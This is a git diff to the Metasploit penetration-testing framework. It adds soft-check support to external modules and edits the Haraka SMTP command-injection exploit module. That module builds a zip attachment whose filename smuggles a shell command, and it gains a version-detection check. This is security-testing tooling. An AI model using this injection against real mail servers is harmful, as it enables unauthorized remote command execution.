diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 7fbcabf7ae..819a623fe9 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -107,6 +107,14 @@ class Exploit < Msf::Module # The module does not support the check method. # Unsupported = [ 'unsupported', "This module does not support check." ] + + # + # Hash for looking up codes by short name + # + Codes = [Unknown, Safe, Detected, Appears, Vulnerable, Unsupported].reduce({}) do |codes, code| + codes[code.first] = code + codes + end.freeze end # diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb index e541f46478..34a152beb7 100644 --- a/lib/msf/core/module/external.rb +++ b/lib/msf/core/module/external.rb @@ -4,7 +4,7 @@ module Msf::Module::External include Msf::Auxiliary::Report include Msf::Module::Auth - def execute_module(path, method: :run, args: datastore) + def execute_module(path, method: :run, args: datastore, fail_on_exit: true) mod = Msf::Modules::External.new(path, framework: framework) success = mod.exec(method: method, args: args) do |m| begin @@ -14,7 +14,7 @@ module Msf::Module::External when :report process_report(m, mod) when :reply - # Nothing useful yet + return m.params['return'] end rescue Interrupt => e raise e @@ -24,7 +24,7 @@ module Msf::Module::External end end - fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if !success + fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if fail_on_exit && !success end def log_output(m) diff --git a/lib/msf/core/modules/external/python/metasploit/module.py b/lib/msf/core/modules/external/python/metasploit/module.py index f8c63fbe57..a74fc1b997 100644 --- a/lib/msf/core/modules/external/python/metasploit/module.py +++ b/lib/msf/core/modules/external/python/metasploit/module.py @@ -75,15 +75,32 @@ def report_wrong_password(username, password, **opts): report('wrong_password', info) -def run(metadata, module_callback): +def run(metadata, module_callback, soft_check=None): req = json.loads(os.read(0, 10000).decode("utf-8")) + callback = None if req['method'] == 'describe': - rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': metadata}) + caps = [] + if soft_check: + caps.append('soft_check') + + meta = metadata.copy() + meta.update({'capabilities': caps}) + + rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta}) + elif req['method'] == 'soft_check': + if soft_check: + callback = soft_check + else: + rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'error': {'code': -32601, 'message': 'Soft checks are not supported'}}) elif req['method'] == 'run': + callback = module_callback + + if callback: args = req['params'] - module_callback(args) + ret = callback(args) rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': { - 'message': 'Module completed' + 'message': 'Module completed', + 'return': ret }}) diff --git a/lib/msf/core/modules/external/ruby/metasploit.rb b/lib/msf/core/modules/external/ruby/metasploit.rb index 52186c4912..b3fdcdd8aa 100644 --- a/lib/msf/core/modules/external/ruby/metasploit.rb +++ b/lib/msf/core/modules/external/ruby/metasploit.rb @@ -33,18 +33,36 @@ module Metasploit report(:wrong_password, opts.merge(username: username, password: password)) end - def run(metadata, callback) + def run(metadata, callback, soft_check: nil) self.logging_prefix = '' + cb = nil req = JSON.parse($stdin.readpartial(10000), symbolize_names: true) if req[:method] == 'describe' + capabilities = [] + capabilities << 'soft_check' if soft_check + + meta = metadata.merge(capabilities: capabilities) rpc_send({ - jsonrpc: '2.0', id: req[:id], result: metadata + jsonrpc: '2.0', id: req[:id], result: meta }) + elsif req[:method] == 'soft_check' + if soft_check + cb = soft_check + else + rpc_send({ + jsonrpc: '2.0', id: req[:id], error: {code: -32601, message: 'Soft checks are not supported'} + }) + end elsif req[:method] == 'run' - callback.call req[:params] + cb = callback + end + + if cb + ret = cb.call req[:params] rpc_send({ jsonrpc: '2.0', id: req[:id], result: { - message: 'Module completed' + message: 'Module completed', + 'return' => ret } }) end diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index baf199aa4b..9c55d2efc8 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -32,6 +32,10 @@ class Msf::Modules::External::Shim render_template('common_metadata.erb', meta) end + def self.common_check(meta = {}) + render_template('common_check.erb', meta) + end + def self.mod_meta_common(mod, meta = {}, drop_rhost: false) meta[:path] = mod.path.dump meta[:name] = mod.meta['name'].dump @@ -54,6 +58,8 @@ class Msf::Modules::External::Shim [#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])" end end.join(",\n ") + + meta[:capabilities] = mod.meta['capabilities'] meta end diff --git a/lib/msf/core/modules/external/templates/common_check.erb b/lib/msf/core/modules/external/templates/common_check.erb new file mode 100644 index 0000000000..93964b3498 --- /dev/null +++ b/lib/msf/core/modules/external/templates/common_check.erb @@ -0,0 +1,7 @@ +<% if meta[:capabilities].include? 'soft_check' %> +def check + code = execute_module(<%= meta[:path] %>, method: :soft_check, fail_on_exit: false) || 'unknown' + return Msf::Exploit::CheckCode::Codes[code] +end +<% end %> + diff --git a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb index c7499fd22e..3368291e9d 100644 --- a/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb +++ b/lib/msf/core/modules/external/templates/remote_exploit_cmd_stager.erb @@ -34,6 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote ]) end + <%= common_check meta %> + def execute_command(cmd, opts) execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd)) end diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py index 59dff0bb03..e8434e63cc 100755 --- a/modules/exploits/linux/smtp/haraka.py +++ b/modules/exploits/linux/smtp/haraka.py @@ -10,6 +10,8 @@ # Thanks to: Dexlab.nl for asking me to look at Haraka. import smtplib +import re +from distutils.version import StrictVersion from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.utils import COMMASPACE, formatdate @@ -21,6 +23,7 @@ import zipfile import StringIO from metasploit import module + metadata = { 'name': 'Haraka SMTP Command Injection', 'description': ''' @@ -52,6 +55,7 @@ metadata = { 'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25} }} + def send_mail(to, mailserver, cmd, mfrom, port): msg = MIMEMultipart() html = "harakiri" @@ -79,6 +83,7 @@ def send_mail(to, mailserver, cmd, mfrom, port): s.close() return(False) + class InMemoryZip(object): def __init__(self): self.in_memory_zip = StringIO.StringIO() @@ -92,6 +97,7 @@ class InMemoryZip(object): self.in_memory_zip.seek(0) return self.in_memory_zip.read() + def create_zip(cmd="touch /tmp/harakiri"): z1 = InMemoryZip() z2 = InMemoryZip() @@ -100,8 +106,31 @@ def create_zip(cmd="touch /tmp/harakiri"): z1.append("a\";%s;echo \"a.zip"%cmd, z2.read()) return(z1.read()) + +def check_banner(args): + module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug') + c = smtplib.SMTP() + (code, banner) = c.connect(args['rhost'], int(args['rport'])) + c.quit() + + if code == 220 and 'Haraka' in banner: + versions = re.findall('(\d+\.\d+\.\d+)', banner) + if versions: + if StrictVersion(versions[0]) < StrictVersion('2.8.9'): + return 'appears' + else: + return 'safe' + else: + return 'detected' + elif code == 220: + return 'detected' + else: + return 'unknown' + + def exploit(args): send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport'])) + if __name__ == '__main__': - module.run(metadata, exploit) + module.run(metadata, exploit, soft_check=check_banner)